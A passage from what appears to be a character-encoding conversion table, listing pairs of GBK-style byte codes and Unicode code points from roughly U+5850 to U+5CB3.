{0x4f89,0x5850},{0xdccb,0x5851},{0x5089,0x5852},{0x5189,0x5853},{0xfecb,0x5854},
{0x5289,0x5855},{0x5389,0x5856},{0x5489,0x5857},{0xc1cc,0x5858},{0x5589,0x5859},
{0x5689,0x585a},{0x5789,0x585b},{0x5889,0x585c},{0x5989,0x585d},{0xfbc8,0x585e},
{0x5a89,0x585f},{0x5b89,0x5860},{0x5c89,0x5861},{0x5d89,0x5862},{0x5e89,0x5863},
{0x5f89,0x5864},{0xaadc,0x5865},{0x6089,0x5866},{0x6189,0x5867},{0x6289,0x5868},
{0x6389,0x5869},{0x6489,0x586a},{0xeecc,0x586b},{0xabdc,0x586c},{0x6589,0x586d},
{0x6689,0x586e},{0x6789,0x586f},{0x6889,0x5870},{0x6989,0x5871},{0x6a89,0x5872},
{0x6b89,0x5873},{0x6c89,0x5874},{0x6d89,0x5875},{0x6e89,0x5876},{0x6f89,0x5877},
{0x7089,0x5878},{0x7189,0x5879},{0x7289,0x587a},{0x7389,0x587b},{0x7489,0x587c},
{0x7589,0x587d},{0xd3db,0x587e},{0x7689,0x587f},{0xafdc,0x5880},{0xacdc,0x5881},
{0x7789,0x5882},{0xb3be,0x5883},{0x7889,0x5884},{0xfbca,0x5885},{0x7989,0x5886},
{0x7a89,0x5887},{0x7b89,0x5888},{0xaddc,0x5889},{0x7c89,0x588a},{0x7d89,0x588b},
{0x7e89,0x588c},{0x8089,0x588d},{0x8189,0x588e},{0x8289,0x588f},{0x8389,0x5890},
{0x8489,0x5891},{0xcac9,0x5892},{0xb9c4,0x5893},{0x8589,0x5894},{0x8689,0x5895},
{0x8789,0x5896},{0x8889,0x5897},{0x8989,0x5898},{0xbdc7,0x5899},{0xaedc,0x589a},
{0x8a89,0x589b},{0x8b89,0x589c},{0x8c89,0x589d},{0xf6d4,0x589e},{0xe6d0,0x589f},
{0x8d89,0x58a0},{0x8e89,0x58a1},{0x8f89,0x58a2},{0x9089,0x58a3},{0x9189,0x58a4},
{0x9289,0x58a5},{0x9389,0x58a6},{0x9489,0x58a7},{0xabc4,0x58a8},{0xd5b6,0x58a9},
{0x9589,0x58aa},{0x9689,0x58ab},{0x9789,0x58ac},{0x9889,0x58ad},{0x9989,0x58ae},
{0x9a89,0x58af},{0x9b89,0x58b0},{0x9c89,0x58b1},{0x9d89,0x58b2},{0x9e89,0x58b3},
{0x9f89,0x58b4},{0xa089,0x58b5},{0xa189,0x58b6},{0xa289,0x58b7},{0xa389,0x58b8},
{0xa489,0x58b9},{0xa589,0x58ba},{0xa689,0x58bb},{0xd4db,0x58bc},{0xa789,0x58bd},
{0xa889,0x58be},{0xa989,0x58bf},{0xaa89,0x58c0},{0xdab1,0x58c1},{0xab89,0x58c2},
{0xac89,0x58c3},{0xad89,0x58c4},{0xd5db,0x58c5},{0xae89,0x58c6},{0xaf89,0x58c7},
{0xb089,0x58c8},{0xb189,0x58c9},{0xb289,0x58ca},{0xb389,0x58cb},{0xb489,0x58cc},
{0xb589,0x58cd},{0xb689,0x58ce},{0xb789,0x58cf},{0xb889,0x58d0},{0xd6db,0x58d1},
{0xb989,0x58d2},{0xba89,0x58d3},{0xbb89,0x58d4},{0xbeba,0x58d5},{0xbc89,0x58d6},
{0xbd89,0x58d7},{0xbe89,0x58d8},{0xbf89,0x58d9},{0xc089,0x58da},{0xc189,0x58db},
{0xc289,0x58dc},{0xc389,0x58dd},{0xc489,0x58de},{0xc589,0x58df},{0xc689,0x58e0},
{0xc789,0x58e1},{0xc889,0x58e2},{0xc989,0x58e3},{0xc0c8,0x58e4},{0xca89,0x58e5},
{0xcb89,0x58e6},{0xcc89,0x58e7},{0xcd89,0x58e8},{0xce89,0x58e9},{0xcf89,0x58ea},
{0xbfca,0x58eb},{0xc9c8,0x58ec},{0xd089,0x58ed},{0xb3d7,0x58ee},{0xd189,0x58ef},
{0xf9c9,0x58f0},{0xd289,0x58f1},{0xd389,0x58f2},{0xc7bf,0x58f3},{0xd489,0x58f4},
{0xd589,0x58f5},{0xf8ba,0x58f6},{0xd689,0x58f7},{0xd789,0x58f8},{0xbcd2,0x58f9},
{0xd889,0x58fa},{0xd989,0x58fb},{0xda89,0x58fc},{0xdb89,0x58fd},{0xdc89,0x58fe},
{0xde89,0x5900},{0xdf89,0x5901},{0xbae2,0x5902},{0xe089,0x5903},{0xa6b4,0x5904},
{0xe189,0x5905},{0xe289,0x5906},{0xb8b1,0x5907},{0xe389,0x5908},{0xe489,0x5909},
{0xe589,0x590a},{0xe689,0x590b},{0xe789,0x590c},{0xb4b8,0x590d},{0xe889,0x590e},
{0xc4cf,0x590f},{0xe989,0x5910},{0xea89,0x5911},{0xeb89,0x5912},{0xec89,0x5913},
{0xe7d9,0x5914},{0xa6cf,0x5915},{0xe2cd,0x5916},{0xed89,0x5917},{0xee89,0x5918},
{0xedd9,0x5919},{0xe0b6,0x591a},{0xef89,0x591b},{0xb9d2,0x591c},{0xf089,0x591d},
{0xf189,0x591e},{0xbbb9,0x591f},{0xf289,0x5920},{0xf389,0x5921},{0xf489,0x5922},
{0xf589,0x5923},{0xb9e2,0x5924},{0xb7e2,0x5925},{0xf689,0x5926},{0xf3b4,0x5927},
{0xf789,0x5928},{0xeccc,0x5929},{0xabcc,0x592a},{0xf2b7,0x592b},{0xf889,0x592c},
{0xb2d8,0x592d},{0xebd1,0x592e},{0xbbba,0x592f},{0xf989,0x5930},{0xa7ca,0x5931},
{0xfa89,0x5932},{0xfb89,0x5933},{0xb7cd,0x5934},{0xfc89,0x5935},{0xfd89,0x5936},
{0xc4d2,0x5937},{0xe4bf,0x5938},{0xd0bc,0x5939},{0xe1b6,0x593a},{0xfe89,0x593b},
{0xc5de,0x593c},{0x408a,0x593d},{0x418a,0x593e},{0x428a,0x593f},{0x438a,0x5940},
{0xc6de,0x5941},{0xbcdb,0x5942},{0x448a,0x5943},{0xd9d1,0x5944},{0x458a,0x5945},
{0x468a,0x5946},{0xe6c6,0x5947},{0xcec4,0x5948},{0xeeb7,0x5949},{0x478a,0x594a},
{0xdcb7,0x594b},{0x488a,0x594c},{0x498a,0x594d},{0xfcbf,0x594e},{0xe0d7,0x594f},
{0x4a8a,0x5950},{0xf5c6,0x5951},{0x4b8a,0x5952},{0x4c8a,0x5953},{0xbcb1,0x5954},
{0xc8de,0x5955},{0xb1bd,0x5956},{0xd7cc,0x5957},{0xcade,0x5958},{0x4d8a,0x5959},
{0xc9de,0x595a},{0x4e8a,0x595b},{0x4f8a,0x595c},{0x508a,0x595d},{0x518a,0x595e},
{0x528a,0x595f},{0xecb5,0x5960},{0x538a,0x5961},{0xddc9,0x5962},{0x548a,0x5963},
{0x558a,0x5964},{0xc2b0,0x5965},{0x568a,0x5966},{0x578a,0x5967},{0x588a,0x5968},
{0x598a,0x5969},{0x5a8a,0x596a},{0x5b8a,0x596b},{0x5c8a,0x596c},{0x5d8a,0x596d},
{0x5e8a,0x596e},{0x5f8a,0x596f},{0x608a,0x5970},{0x618a,0x5971},{0x628a,0x5972},
{0xaec5,0x5973},{0xabc5,0x5974},{0x638a,0x5975},{0xccc4,0x5976},{0x648a,0x5977},
{0xe9bc,0x5978},{0xfdcb,0x5979},{0x658a,0x597a},{0x668a,0x597b},{0x678a,0x597c},
{0xc3ba,0x597d},{0x688a,0x597e},{0x698a,0x597f},{0x6a8a,0x5980},{0xf9e5,0x5981},
{0xe7c8,0x5982},{0xfae5,0x5983},{0xfdcd,0x5984},{0x6b8a,0x5985},{0xb1d7,0x5986},
{0xbeb8,0x5987},{0xe8c2,0x5988},{0x6c8a,0x5989},{0xd1c8,0x598a},{0x6d8a,0x598b},
{0x6e8a,0x598c},{0xfbe5,0x598d},{0x6f8a,0x598e},{0x708a,0x598f},{0x718a,0x5990},
{0x728a,0x5991},{0xcab6,0x5992},{0xcbbc,0x5993},{0x738a,0x5994},{0x748a,0x5995},
{0xfdd1,0x5996},{0xa1e6,0x5997},{0x758a,0x5998},{0xeec3,0x5999},{0x768a,0x599a},
{0x778a,0x599b},{0x788a,0x599c},{0x798a,0x599d},{0xa4e6,0x599e},{0x7a8a,0x599f},
{0x7b8a,0x59a0},{0x7c8a,0x59a1},{0x7d8a,0x59a2},{0xfee5,0x59a3},{0xa5e6,0x59a4},
{0xd7cd,0x59a5},{0x7e8a,0x59a6},{0x808a,0x59a7},{0xc1b7,0x59a8},{0xfce5,0x59a9},
{0xfde5,0x59aa},{0xa3e6,0x59ab},{0x818a,0x59ac},{0x828a,0x59ad},{0xddc4,0x59ae},
{0xa8e6,0x59af},{0x838a,0x59b0},{0x848a,0x59b1},{0xa7e6,0x59b2},{0x858a,0x59b3},
{0x868a,0x59b4},{0x878a,0x59b5},{0x888a,0x59b6},{0x898a,0x59b7},{0x8a8a,0x59b8},
{0xc3c3,0x59b9},{0x8b8a,0x59ba},{0xdec6,0x59bb},{0x8c8a,0x59bc},{0x8d8a,0x59bd},
{0xaae6,0x59be},{0x8e8a,0x59bf},{0x8f8a,0x59c0},{0x908a,0x59c1},{0x918a,0x59c2},
{0x928a,0x59c3},{0x938a,0x59c4},{0x948a,0x59c5},{0xb7c4,0x59c6},{0x958a,0x59c7},
{0x968a,0x59c8},{0x978a,0x59c9},{0xa2e6,0x59ca},{0xbcca,0x59cb},{0x988a,0x59cc},
{0x998a,0x59cd},{0x9a8a,0x59ce},{0x9b8a,0x59cf},{0xe3bd,0x59d0},{0xc3b9,0x59d1},
{0xa6e6,0x59d2},{0xd5d0,0x59d3},{0xafce,0x59d4},{0x9c8a,0x59d5},{0x9d8a,0x59d6},
{0xa9e6,0x59d7},{0xb0e6,0x59d8},{0x9e8a,0x59d9},{0xa6d2,0x59da},{0x9f8a,0x59db},
{0xaabd,0x59dc},{0xade6,0x59dd},{0xa08a,0x59de},{0xa18a,0x59df},{0xa28a,0x59e0},
{0xa38a,0x59e1},{0xa48a,0x59e2},{0xafe6,0x59e3},{0xa58a,0x59e4},{0xd1c0,0x59e5},
{0xa68a,0x59e6},{0xa78a,0x59e7},{0xccd2,0x59e8},{0xa88a,0x59e9},{0xa98a,0x59ea},
{0xaa8a,0x59eb},{0xa7bc,0x59ec},{0xab8a,0x59ed},{0xac8a,0x59ee},{0xad8a,0x59ef},
{0xae8a,0x59f0},{0xaf8a,0x59f1},{0xb08a,0x59f2},{0xb18a,0x59f3},{0xb28a,0x59f4},
{0xb38a,0x59f5},{0xb48a,0x59f6},{0xb58a,0x59f7},{0xb68a,0x59f8},{0xb1e6,0x59f9},
{0xb78a,0x59fa},{0xf6d2,0x59fb},{0xb88a,0x59fc},{0xb98a,0x59fd},{0xba8a,0x59fe},
{0xbb8a,0x5a00},{0xfecd,0x5a01},{0xbc8a,0x5a02},{0xdecd,0x5a03},{0xa6c2,0x5a04},
{0xabe6,0x5a05},{0xace6,0x5a06},{0xbfbd,0x5a07},{0xaee6,0x5a08},{0xb3e6,0x5a09},
{0xbd8a,0x5a0a},{0xbe8a,0x5a0b},{0xb2e6,0x5a0c},{0xbf8a,0x5a0d},{0xc08a,0x5a0e},
{0xc18a,0x5a0f},{0xc28a,0x5a10},{0xb6e6,0x5a11},{0xc38a,0x5a12},{0xb8e6,0x5a13},
{0xc48a,0x5a14},{0xc58a,0x5a15},{0xc68a,0x5a16},{0xc78a,0x5a17},{0xefc4,0x5a18},
{0xc88a,0x5a19},{0xc98a,0x5a1a},{0xca8a,0x5a1b},{0xc8c4,0x5a1c},{0xcb8a,0x5a1d},
{0xcc8a,0x5a1e},{0xeabe,0x5a1f},{0xefc9,0x5a20},{0xcd8a,0x5a21},{0xce8a,0x5a22},
{0xb7e6,0x5a23},{0xcf8a,0x5a24},{0xf0b6,0x5a25},{0xd08a,0x5a26},{0xd18a,0x5a27},
{0xd28a,0x5a28},{0xe4c3,0x5a29},{0xd38a,0x5a2a},{0xd48a,0x5a2b},{0xd58a,0x5a2c},
{0xd68a,0x5a2d},{0xd78a,0x5a2e},{0xd88a,0x5a2f},{0xd98a,0x5a30},{0xe9d3,0x5a31},
{0xb4e6,0x5a32},{0xda8a,0x5a33},{0xb5e6,0x5a34},{0xdb8a,0x5a35},{0xa2c8,0x5a36},
{0xdc8a,0x5a37},{0xdd8a,0x5a38},{0xde8a,0x5a39},{0xdf8a,0x5a3a},{0xe08a,0x5a3b},
{0xbde6,0x5a3c},{0xe18a,0x5a3d},{0xe28a,0x5a3e},{0xe38a,0x5a3f},{0xb9e6,0x5a40},
{0xe48a,0x5a41},{0xe58a,0x5a42},{0xe68a,0x5a43},{0xe78a,0x5a44},{0xe88a,0x5a45},
{0xc5c6,0x5a46},{0xe98a,0x5a47},{0xea8a,0x5a48},{0xf1cd,0x5a49},{0xbbe6,0x5a4a},
{0xeb8a,0x5a4b},{0xec8a,0x5a4c},{0xed8a,0x5a4d},{0xee8a,0x5a4e},{0xef8a,0x5a4f},
{0xf08a,0x5a50},{0xf18a,0x5a51},{0xf28a,0x5a52},{0xf38a,0x5a53},{0xf48a,0x5a54},
{0xbce6,0x5a55},{0xf58a,0x5a56},{0xf68a,0x5a57},{0xf78a,0x5a58},{0xf88a,0x5a59},
{0xe9bb,0x5a5a},{0xf98a,0x5a5b},{0xfa8a,0x5a5c},{0xfb8a,0x5a5d},{0xfc8a,0x5a5e},
{0xfd8a,0x5a5f},{0xfe8a,0x5a60},{0x408b,0x5a61},{0xbee6,0x5a62},{0x418b,0x5a63},
{0x428b,0x5a64},{0x438b,0x5a65},{0x448b,0x5a66},{0xbae6,0x5a67},{0x458b,0x5a68},
{0x468b,0x5a69},{0xb7c0,0x5a6a},{0x478b,0x5a6b},{0x488b,0x5a6c},{0x498b,0x5a6d},
{0x4a8b,0x5a6e},{0x4b8b,0x5a6f},{0x4c8b,0x5a70},{0x4d8b,0x5a71},{0x4e8b,0x5a72},
{0x4f8b,0x5a73},{0xa4d3,0x5a74},{0xbfe6,0x5a75},{0xf4c9,0x5a76},{0xc3e6,0x5a77},
{0x508b,0x5a78},{0x518b,0x5a79},{0xc4e6,0x5a7a},{0x528b,0x5a7b},{0x538b,0x5a7c},
{0x548b,0x5a7d},{0x558b,0x5a7e},{0xf6d0,0x5a7f},{0x568b,0x5a80},{0x578b,0x5a81},
{0x588b,0x5a82},{0x598b,0x5a83},{0x5a8b,0x5a84},{0x5b8b,0x5a85},{0x5c8b,0x5a86},
{0x5d8b,0x5a87},{0x5e8b,0x5a88},{0x5f8b,0x5a89},{0x608b,0x5a8a},{0x618b,0x5a8b},
{0x628b,0x5a8c},{0x638b,0x5a8d},{0x648b,0x5a8e},{0x658b,0x5a8f},{0x668b,0x5a90},
{0x678b,0x5a91},{0xbdc3,0x5a92},{0x688b,0x5a93},{0x698b,0x5a94},{0x6a8b,0x5a95},
{0x6b8b,0x5a96},{0x6c8b,0x5a97},{0x6d8b,0x5a98},{0x6e8b,0x5a99},{0xc4c3,0x5a9a},
{0xc2e6,0x5a9b},{0x6f8b,0x5a9c},{0x708b,0x5a9d},{0x718b,0x5a9e},{0x728b,0x5a9f},
{0x738b,0x5aa0},{0x748b,0x5aa1},{0x758b,0x5aa2},{0x768b,0x5aa3},{0x778b,0x5aa4},
{0x788b,0x5aa5},{0x798b,0x5aa6},{0x7a8b,0x5aa7},{0x7b8b,0x5aa8},{0x7c8b,0x5aa9},
{0xc1e6,0x5aaa},{0x7d8b,0x5aab},{0x7e8b,0x5aac},{0x808b,0x5aad},{0x818b,0x5aae},
{0x828b,0x5aaf},{0x838b,0x5ab0},{0x848b,0x5ab1},{0xc7e6,0x5ab2},{0xb1cf,0x5ab3},
{0x858b,0x5ab4},{0xf4eb,0x5ab5},{0x868b,0x5ab6},{0x878b,0x5ab7},{0xcae6,0x5ab8},
{0x888b,0x5ab9},{0x898b,0x5aba},{0x8a8b,0x5abb},{0x8b8b,0x5abc},{0x8c8b,0x5abd},
{0xc5e6,0x5abe},{0x8d8b,0x5abf},{0x8e8b,0x5ac0},{0xdebc,0x5ac1},{0xa9c9,0x5ac2},
{0x8f8b,0x5ac3},{0x908b,0x5ac4},{0x918b,0x5ac5},{0x928b,0x5ac6},{0x938b,0x5ac7},
{0x948b,0x5ac8},{0xb5bc,0x5ac9},{0x958b,0x5aca},{0x968b,0x5acb},{0xd3cf,0x5acc},
{0x978b,0x5acd},{0x988b,0x5ace},{0x998b,0x5acf},{0x9a8b,0x5ad0},{0x9b8b,0x5ad1},
{0xc8e6,0x5ad2},{0x9c8b,0x5ad3},{0xc9e6,0x5ad4},{0x9d8b,0x5ad5},{0xcee6,0x5ad6},
{0x9e8b,0x5ad7},{0xd0e6,0x5ad8},{0x9f8b,0x5ad9},{0xa08b,0x5ada},{0xa18b,0x5adb},
{0xd1e6,0x5adc},{0xa28b,0x5add},{0xa38b,0x5ade},{0xa48b,0x5adf},{0xcbe6,0x5ae0},
{0xd5b5,0x5ae1},{0xa58b,0x5ae2},{0xcce6,0x5ae3},{0xa68b,0x5ae4},{0xa78b,0x5ae5},
{0xcfe6,0x5ae6},{0xa88b,0x5ae7},{0xa98b,0x5ae8},{0xdbc4,0x5ae9},{0xaa8b,0x5aea},
{0xc6e6,0x5aeb},{0xab8b,0x5aec},{0xac8b,0x5aed},{0xad8b,0x5aee},{0xae8b,0x5aef},
{0xaf8b,0x5af0},{0xcde6,0x5af1},{0xb08b,0x5af2},{0xb18b,0x5af3},{0xb28b,0x5af4},
{0xb38b,0x5af5},{0xb48b,0x5af6},{0xb58b,0x5af7},{0xb68b,0x5af8},{0xb78b,0x5af9},
{0xb88b,0x5afa},{0xb98b,0x5afb},{0xba8b,0x5afc},{0xbb8b,0x5afd},{0xbc8b,0x5afe},
{0xbe8b,0x5b00},{0xbf8b,0x5b01},{0xc08b,0x5b02},{0xc18b,0x5b03},{0xc28b,0x5b04},
{0xc38b,0x5b05},{0xc48b,0x5b06},{0xc58b,0x5b07},{0xc68b,0x5b08},{0xd2e6,0x5b09},
{0xc78b,0x5b0a},{0xc88b,0x5b0b},{0xc98b,0x5b0c},{0xca8b,0x5b0d},{0xcb8b,0x5b0e},
{0xcc8b,0x5b0f},{0xcd8b,0x5b10},{0xce8b,0x5b11},{0xcf8b,0x5b12},{0xd08b,0x5b13},
{0xd18b,0x5b14},{0xd28b,0x5b15},{0xd4e6,0x5b16},{0xd3e6,0x5b17},{0xd38b,0x5b18},
{0xd48b,0x5b19},{0xd58b,0x5b1a},{0xd68b,0x5b1b},{0xd78b,0x5b1c},{0xd88b,0x5b1d},
{0xd98b,0x5b1e},{0xda8b,0x5b1f},{0xdb8b,0x5b20},{0xdc8b,0x5b21},{0xdd8b,0x5b22},
{0xde8b,0x5b23},{0xdf8b,0x5b24},{0xe08b,0x5b25},{0xe18b,0x5b26},{0xe28b,0x5b27},
{0xe38b,0x5b28},{0xe48b,0x5b29},{0xe58b,0x5b2a},{0xe68b,0x5b2b},{0xe78b,0x5b2c},
{0xe88b,0x5b2d},{0xe98b,0x5b2e},{0xea8b,0x5b2f},{0xeb8b,0x5b30},{0xec8b,0x5b31},
{0xd5e6,0x5b32},{0xed8b,0x5b33},{0xf8d9,0x5b34},{0xee8b,0x5b35},{0xef8b,0x5b36},
{0xd6e6,0x5b37},{0xf08b,0x5b38},{0xf18b,0x5b39},{0xf28b,0x5b3a},{0xf38b,0x5b3b},
{0xf48b,0x5b3c},{0xf58b,0x5b3d},{0xf68b,0x5b3e},{0xf78b,0x5b3f},{0xd7e6,0x5b40},
{0xf88b,0x5b41},{0xf98b,0x5b42},{0xfa8b,0x5b43},{0xfb8b,0x5b44},{0xfc8b,0x5b45},
{0xfd8b,0x5b46},{0xfe8b,0x5b47},{0x408c,0x5b48},{0x418c,0x5b49},{0x428c,0x5b4a},
{0x438c,0x5b4b},{0x448c,0x5b4c},{0x458c,0x5b4d},{0x468c,0x5b4e},{0x478c,0x5b4f},
{0xd3d7,0x5b50},{0xdde6,0x5b51},{0x488c,0x5b52},{0xdee6,0x5b53},{0xd7bf,0x5b54},
{0xd0d4,0x5b55},{0x498c,0x5b56},{0xd6d7,0x5b57},{0xe6b4,0x5b58},{0xefcb,0x5b59},
{0xdae6,0x5b5a},{0xc3d8,0x5b5b},{0xced7,0x5b5c},{0xa2d0,0x5b5d},{0x4a8c,0x5b5e},
{0xcfc3,0x5b5f},{0x4b8c,0x5b60},{0x4c8c,0x5b61},{0xdfe6,0x5b62},{0xbebc,0x5b63},
{0xc2b9,0x5b64},{0xdbe6,0x5b65},{0xa7d1,0x5b66},{0x4d8c,0x5b67},{0x4e8c,0x5b68},
{0xa2ba,0x5b69},{0xcfc2,0x5b6a},{0x4f8c,0x5b6b},{0xabd8,0x5b6c},{0x508c,0x5b6d},
{0x518c,0x5b6e},{0x528c,0x5b6f},{0xebca,0x5b70},{0xeee5,0x5b71},{0x538c,0x5b72},
{0xdce6,0x5b73},{0x548c,0x5b74},{0xf5b7,0x5b75},{0x558c,0x5b76},{0x568c,0x5b77},
{0x578c,0x5b78},{0x588c,0x5b79},{0xe6c8,0x5b7a},{0x598c,0x5b7b},{0x5a8c,0x5b7c},
{0xf5c4,0x5b7d},{0x5b8c,0x5b7e},{0x5c8c,0x5b7f},{0xb2e5,0x5b80},{0xfec4,0x5b81},
{0x5d8c,0x5b82},{0xfccb,0x5b83},{0xb3e5,0x5b84},{0xacd5,0x5b85},{0x5e8c,0x5b86},
{0xeed3,0x5b87},{0xd8ca,0x5b88},{0xb2b0,0x5b89},{0x5f8c,0x5b8a},{0xcecb,0x5b8b},
{0xeacd,0x5b8c},{0x608c,0x5b8d},{0x618c,0x5b8e},{0xeaba,0x5b8f},{0x628c,0x5b90},
{0x638c,0x5b91},{0x648c,0x5b92},{0xb5e5,0x5b93},{0x658c,0x5b94},{0xb4e5,0x5b95},
{0x668c,0x5b96},{0xdad7,0x5b97},{0xd9b9,0x5b98},{0xe6d6,0x5b99},{0xa8b6,0x5b9a},
{0xf0cd,0x5b9b},{0xcbd2,0x5b9c},{0xa6b1,0x5b9d},{0xb5ca,0x5b9e},{0x678c,0x5b9f},
{0xe8b3,0x5ba0},{0xf3c9,0x5ba1},{0xcdbf,0x5ba2},{0xfbd0,0x5ba3},{0xd2ca,0x5ba4},
{0xb6e5,0x5ba5},{0xc2bb,0x5ba6},{0x688c,0x5ba7},{0x698c,0x5ba8},{0x6a8c,0x5ba9},
{0xdccf,0x5baa},{0xacb9,0x5bab},{0x6b8c,0x5bac},{0x6c8c,0x5bad},{0x6d8c,0x5bae},
{0x6e8c,0x5baf},{0xd7d4,0x5bb0},{0x6f8c,0x5bb1},{0x708c,0x5bb2},{0xa6ba,0x5bb3},
{0xe7d1,0x5bb4},{0xfccf,0x5bb5},{0xd2bc,0x5bb6},{0x718c,0x5bb7},{0xb7e5,0x5bb8},
{0xddc8,0x5bb9},{0x728c,0x5bba},{0x738c,0x5bbb},{0x748c,0x5bbc},{0xedbf,0x5bbd},
{0xf6b1,0x5bbe},{0xdecb,0x5bbf},{0x758c,0x5bc0},{0x768c,0x5bc1},{0xc5bc,0x5bc2},
{0x778c,0x5bc3},{0xc4bc,0x5bc4},{0xfad2,0x5bc5},{0xdcc3,0x5bc6},{0xdcbf,0x5bc7},
{0x788c,0x5bc8},{0x798c,0x5bc9},{0x7a8c,0x5bca},{0x7b8c,0x5bcb},{0xbbb8,0x5bcc},
{0x7c8c,0x5bcd},{0x7d8c,0x5bce},{0x7e8c,0x5bcf},{0xc2c3,0x5bd0},{0x808c,0x5bd1},
{0xaeba,0x5bd2},{0xa2d4,0x5bd3},{0x818c,0x5bd4},{0x828c,0x5bd5},{0x838c,0x5bd6},
{0x848c,0x5bd7},{0x858c,0x5bd8},{0x868c,0x5bd9},{0x878c,0x5bda},{0x888c,0x5bdb},
{0x898c,0x5bdc},{0xdec7,0x5bdd},{0xafc4,0x5bde},{0xecb2,0x5bdf},{0x8a8c,0x5be0},
{0xd1b9,0x5be1},{0x8b8c,0x5be2},{0x8c8c,0x5be3},{0xbbe5,0x5be4},{0xc8c1,0x5be5},
{0x8d8c,0x5be6},{0x8e8c,0x5be7},{0xafd5,0x5be8},{0x8f8c,0x5be9},{0x908c,0x5bea},
{0x918c,0x5beb},{0x928c,0x5bec},{0x938c,0x5bed},{0xbce5,0x5bee},{0x948c,0x5bef},
{0xbee5,0x5bf0},{0x958c,0x5bf1},{0x968c,0x5bf2},{0x978c,0x5bf3},{0x988c,0x5bf4},
{0x998c,0x5bf5},{0x9a8c,0x5bf6},{0x9b8c,0x5bf7},{0xe7b4,0x5bf8},{0xd4b6,0x5bf9},
{0xc2cb,0x5bfa},{0xb0d1,0x5bfb},{0xbcb5,0x5bfc},{0x9c8c,0x5bfd},{0x9d8c,0x5bfe},
{0x9e8c,0x5c00},{0xe2b7,0x5c01},{0x9f8c,0x5c02},{0xa08c,0x5c03},{0xe4c9,0x5c04},
{0xa18c,0x5c05},{0xabbd,0x5c06},{0xa28c,0x5c07},{0xa38c,0x5c08},{0xbece,0x5c09},
{0xf0d7,0x5c0a},{0xa48c,0x5c0b},{0xa58c,0x5c0c},{0xa68c,0x5c0d},{0xa78c,0x5c0e},
{0xa1d0,0x5c0f},{0xa88c,0x5c10},{0xd9c9,0x5c11},{0xa98c,0x5c12},{0xaa8c,0x5c13},
{0xfbb6,0x5c14},{0xd8e6,0x5c15},{0xe2bc,0x5c16},{0xab8c,0x5c17},{0xbeb3,0x5c18},
{0xac8c,0x5c19},{0xd0c9,0x5c1a},{0xad8c,0x5c1b},{0xd9e6,0x5c1c},{0xa2b3,0x5c1d},
{0xae8c,0x5c1e},{0xaf8c,0x5c1f},{0xb08c,0x5c20},{0xb18c,0x5c21},{0xccde,0x5c22},
{0xb28c,0x5c23},{0xc8d3,0x5c24},{0xcdde,0x5c25},{0xb38c,0x5c26},{0xa2d2,0x5c27},
{0xb48c,0x5c28},{0xb58c,0x5c29},{0xb68c,0x5c2a},{0xb78c,0x5c2b},{0xcede,0x5c2c},
{0xb88c,0x5c2d},{0xb98c,0x5c2e},{0xba8c,0x5c2f},{0xbb8c,0x5c30},{0xcdbe,0x5c31},
{0xbc8c,0x5c32},{0xbd8c,0x5c33},{0xcfde,0x5c34},{0xbe8c,0x5c35},{0xbf8c,0x5c36},
{0xc08c,0x5c37},{0xacca,0x5c38},{0xfcd2,0x5c39},{0xdfb3,0x5c3a},{0xeae5,0x5c3b},
{0xe1c4,0x5c3c},{0xa1be,0x5c3d},{0xb2ce,0x5c3e},{0xf2c4,0x5c3f},{0xd6be,0x5c40},
{0xa8c6,0x5c41},{0xe3b2,0x5c42},{0xc18c,0x5c43},{0xc28c,0x5c44},{0xd3be,0x5c45},
{0xc38c,0x5c46},{0xc48c,0x5c47},{0xfcc7,0x5c48},{0xebcc,0x5c49},{0xecbd,0x5c4a},
{0xddce,0x5c4b},{0xc58c,0x5c4c},{0xc68c,0x5c4d},{0xbaca,0x5c4e},{0xc1c6,0x5c4f},
{0xece5,0x5c50},{0xbcd0,0x5c51},{0xc78c,0x5c52},{0xc88c,0x5c53},{0xc98c,0x5c54},
{0xb9d5,0x5c55},{0xca8c,0x5c56},{0xcb8c,0x5c57},{0xcc8c,0x5c58},{0xede5,0x5c59},
{0xcd8c,0x5c5a},{0xce8c,0x5c5b},{0xcf8c,0x5c5c},{0xd08c,0x5c5d},{0xf4ca,0x5c5e},
{0xd18c,0x5c5f},{0xc0cd,0x5c60},{0xc5c2,0x5c61},{0xd28c,0x5c62},{0xefe5,0x5c63},
{0xd38c,0x5c64},{0xc4c2,0x5c65},{0xf0e5,0x5c66},{0xd48c,0x5c67},{0xd58c,0x5c68},
{0xd68c,0x5c69},{0xd78c,0x5c6a},{0xd88c,0x5c6b},{0xd98c,0x5c6c},{0xda8c,0x5c6d},
{0xf8e5,0x5c6e},{0xcdcd,0x5c6f},{0xdb8c,0x5c70},{0xbdc9,0x5c71},{0xdc8c,0x5c72},
{0xdd8c,0x5c73},{0xde8c,0x5c74},{0xdf8c,0x5c75},{0xe08c,0x5c76},{0xe18c,0x5c77},
{0xe28c,0x5c78},{0xd9d2,0x5c79},{0xa8e1,0x5c7a},{0xe38c,0x5c7b},{0xe48c,0x5c7c},
{0xe58c,0x5c7d},{0xe68c,0x5c7e},{0xecd3,0x5c7f},{0xe78c,0x5c80},{0xeacb,0x5c81},
{0xf1c6,0x5c82},{0xe88c,0x5c83},{0xe98c,0x5c84},{0xea8c,0x5c85},{0xeb8c,0x5c86},
{0xec8c,0x5c87},{0xace1,0x5c88},{0xed8c,0x5c89},{0xee8c,0x5c8a},{0xef8c,0x5c8b},
{0xa7e1,0x5c8c},{0xa9e1,0x5c8d},{0xf08c,0x5c8e},{0xf18c,0x5c8f},{0xaae1,0x5c90},
{0xafe1,0x5c91},{0xf28c,0x5c92},{0xf38c,0x5c93},{0xedb2,0x5c94},{0xf48c,0x5c95},
{0xabe1,0x5c96},{0xdab8,0x5c97},{0xade1,0x5c98},{0xaee1,0x5c99},{0xb0e1,0x5c9a},
{0xbab5,0x5c9b},{0xb1e1,0x5c9c},{0xf58c,0x5c9d},{0xf68c,0x5c9e},{0xf78c,0x5c9f},
{0xf88c,0x5ca0},{0xf98c,0x5ca1},{0xb3e1,0x5ca2},{0xb8e1,0x5ca3},{0xfa8c,0x5ca4},
{0xfb8c,0x5ca5},{0xfc8c,0x5ca6},{0xfd8c,0x5ca7},{0xfe8c,0x5ca8},{0xd2d1,0x5ca9},
{0x408d,0x5caa},{0xb6e1,0x5cab},{0xb5e1,0x5cac},{0xebc1,0x5cad},{0x418d,0x5cae},
{0x428d,0x5caf},{0x438d,0x5cb0},{0xb7e1,0x5cb1},{0x448d,0x5cb2},{0xc0d4,0x5cb3},
